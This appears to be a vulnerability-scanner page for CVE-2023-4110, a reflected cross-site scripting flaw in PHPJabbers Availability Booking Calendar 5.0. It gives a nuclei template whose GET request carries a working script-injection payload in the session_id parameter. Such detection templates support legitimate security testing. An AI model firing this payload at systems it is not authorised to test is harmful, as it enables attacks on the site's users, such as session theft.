CVE-2023-4110· phpjabbers / availability booking calendar· CWE-79
PHPJabbers Availability Booking Calendar 5.0 - Cross-Site Scripting
A vulnerability has been found in PHP Jabbers Availability Booking Calendar 5.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument session_id leads to cross site scripting. The attack can be launched remotely.
Impact
Unauthenticated attackers can inject malicious JavaScript through the session_id parameter, potentially stealing user session cookies and accessing sensitive booking information from the calendar system.
Fix
Update PHP Jabbers Availability Booking Calendar to a version newer than 5.0 that properly sanitizes the session_id parameter and encodes output.
How to confirm it
Send: GET {{BaseURL}}/index.php?controller=pjFront&action=pjActionGetBookingForm&session_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&…
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "Booking", "Arrival", "><script>alert(document.domain)</script>")Run it with nuclei: nuclei -id CVE-2023-4110 -u <target>
The full check
id: CVE-2023-4110
info:
name: PHPJabbers Availability Booking Calendar 5.0 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
A vulnerability has been found in PHP Jabbers Availability Booking Calendar 5.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument session_id leads to cross site scripting. The attack can be launched remotely.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the session_id parameter, potentially stealing user session cookies and accessing sensitive booking information from the calendar system.
remediation: |
Update PHP Jabbers Availability Booking Calendar to a version newer than 5.0 that properly sanitizes the session_id parameter and encodes output.
reference:
- http://packetstormsecurity.com/files/173926/PHPJabbers-Availability-Booking-Calendar-5.0-Cross-Site-Scripting.html
- https://vuldb.com/?id.235957
- https://nvd.nist.gov/vuln/detail/CVE-2023-4110
- https://vuldb.com/?ctiid.235957
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-4110
cwe-id: CWE-79
epss-score: 0.01777
epss-percentile: 0.78397
cpe: cpe:2.3:a:phpjabbers:availability_booking_calendar:5.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: phpjabbers
product: availability_booking_calendar
tags: cve2023,cve,packetstorm,xss,phpjabber,jabber,phpjabbers,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?controller=pjFront&action=pjActionGetBookingForm&session_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "Booking", "Arrival", "><script>alert(document.domain)</script>")'
condition: andReferences
- http://packetstormsecurity.com/files/173926/PHPJabbers-Availability-Booking-Calendar-5.0-Cross-Site-Scripting.html
- https://vuldb.com/?id.235957
- https://nvd.nist.gov/vuln/detail/CVE-2023-4110
- https://vuldb.com/?ctiid.235957
Use this check only on systems you are authorised to test. Where the data comes from